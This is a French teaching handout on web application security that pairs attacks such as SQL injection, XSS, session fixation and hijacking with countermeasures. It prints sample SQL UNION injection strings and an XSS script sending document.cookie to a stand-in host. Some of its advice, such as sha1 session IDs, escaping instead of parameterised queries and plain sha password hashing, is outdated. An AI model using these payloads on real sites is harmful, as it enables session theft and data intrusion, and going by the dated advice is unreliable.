Sécurité : failles, attaques et contre

Transcription

Sécurité : failles, attaques et contre
Sécurité : failles, attaques et contre-mesures (liste non exhaustive)
Faille: Erreur Apache ou PHP
Description : Erreur d’apache (mauvaise configuration) ou indisponibilité de PHP provoquant
l’affichage du code PHP directement dans le browser. Ou mauvaise gestion des affichages des
erreurs des scripts.
Exemples d’attaque : les codes d’accès (comme celui de la base de données) écrit « en dur » dans
le code PHP seront directement visible par le visiteur. La sécurité du code PHP peut facilement être
analysée pour en déceler des failles.
Contre-mesures : Mettre toutes les informations critiques (mot de passes, code PHP sensible, …) en
dehors du répertoire publique du serveur web et inclure ces fichiers ( include_once en PHP) dans vos
script PHP dur répertoire publique. Désactiver les affichages d’erreur PHP sur les serveurs de
production (les remplacer par des messages d’erreur orienté utilisateur et non programmeur). Ne pas
utiliser des comptes « root » dans vos applications.
Attaque : SQL injection
Description : injection de code SQL via des failles de validation de données dans une application
web (via les champs d’un formulaire par exemple).
Exemples d’attaque :
' UNION SELECT REPEAT( 'hack', 1 ) AS 'password', REPEAT( 'hack', 1 ) AS 'username
' UNION SELECT REPEAT(' a94a8fe5ccb19ba61c4c0873d391e987982fbbd3, 1) AS 'password
Contre-mesures : Valider tous les champs en entrées, et contrôler qu’ils ne contiennent pas de code
SQL lors de leur utilisation dans une requête (en PHP avec la fonction real_escape_string par
exemple)
Attaque : JavaScript injection
Description : injection de code JavaScript via des failles de validation de données dans une
application web (via les champs d’un formulaire par exemple).
Exemples d’attaque :
<script>alert(‘message du hacker ici !)</script>
<script>window.location='http://example.com/stole.cgi?text='+escape(document.cookie)</script>
Contre-mesures : Valider tous les champs en entrées, et contrôler qu’ils ne contiennent pas de code
JavaScript lors de leur utilisation dans un affichage sur une page web (par exemple si l’on demande
un entier à l’utilisateur, vérifier que c’est bien le cas et pas autre chose comme du code JavaScript !).
Attaque : Brute force de l’identifiant de session
Description : parcours de tous les identifiant de session possible pour essayer de trouver l’identifiant
de session d’un utilisateur actuellement connecté à l’application web.
Exemples d’attaque : créer un cookie contenant l’identifiant de session et effectuer un GET d’une
page de l’application afin de vérifier si l’accès est OK. Refaire ces étapes pour tous les identifiants de
session disponible.
Contre-mesures : utiliser sha1 plutôt que md5 pour la génération des identifiant de session
(identifiant plus long donc plus de possibilité). Réduire le temps de vie de session : les sessions
actives (ainsi que leur identifiant) sont donc moins nombreuses. Changer les identifiants de session
des utilisateurs connecté régulièrement (en PHP grâce au code suivant: session_regenerate_id(true) ).
Attaque : Session fixation
Description : le hacker essaye d’injecter son identifiant de session (en imaginant que le hacker est
un utilisateur de l’application) à un autre utilisateur. Le hacker attend ensuite que c’est autre utilisateur
se log afin que les deux personnes partages le même identifiant de session. Le hacker peut alors se
faire passer pour la victime.
Exemples d’attaque : Accéder à une page sécurisée de l’application et récupérer l’identifiant de
session ainsi créé. Injecter ensuite un cookie contenant le même identifiant sur l’ordinateur de la
victime (via une attaque JavaScript injection ou autres) et lui demander de s’authentifier sur
l’application (via un email pseudo officiel par exemple).
Contre-mesures : changer l’identifiant de session régulièrement. Utiliser un deuxième contrôle en
plus de l’identifiant de session pour différencier deux utilisateurs. Par exemple un « token » de
sécurité contenant l’identifiant SSL de l’utilisateur, vérifier ce « token » de sécurité sur chaque page
sécurisée. Limiter le temps de vie des sessions. Plus les contre mesure de l’attaque JavaScript
injection.
Attaque : Session hijacking (vol du numéro de session)
Description : le hacker essaye de voler l’identifiant d’un autre utilisateur actuellement connecté à
l’application. Le hacker peut alors se faire passer pour la victime en créant un cookie contenant cette
identifiant sur son ordinateur.
Exemples d’attaque :Vol de l’identifiant de session par attaque direct sur l’ordinateur de la victime ou
vol via une attaque JavaScript injection ou autre cross-site scripting (XSS). Exemple d’injection JS :
<script>window.location='http://example.com/stole.cgi?text='+escape(document.cookie)</script>
Contre-mesures : idem session fixation
Faille: accès à la base de données
Description : Un utilisateur à accès en lecture à la base de données (par exemple un employé de
l’hébergeur de votre application web ou quelqu’un d’autre via une faille de votre SGBD). Celui-ci peut
alors y lire les mots de passe des utilisateurs de votre application (entre autres).
Exemple d’attaque : vol d’un mot de passe de la base pour se faire passer pour cet utilisateur.
Contre-mesures : Chiffrer les données sensibles de votre base. Par exemple pour les mots de
passe utiliser une fonction de hachage (sha par exemple). Attention tout de même à utiliser des
« salt ». Deux au moins pour une bonne sécurité (un propre a chaque mot de passe sauvé dans la
base, et un autre propre à votre application web dans vos scripts PHP par exemple.
Attaque : web sniffing (écoute des communications sur le réseau)
Description : le hacker a accès à un point de passage sur le réseau (un rooter par exemple) et
écoute toutes les communications vers votre application.
Exemples d’attaque : Le hacker vérifie tout les paquets TCP/IP afin d’y trouver une requête GET ou
POST vers votre application contenant un nom d’utilisateur et un mot de passe.
Contre-mesures : Utiliser SSL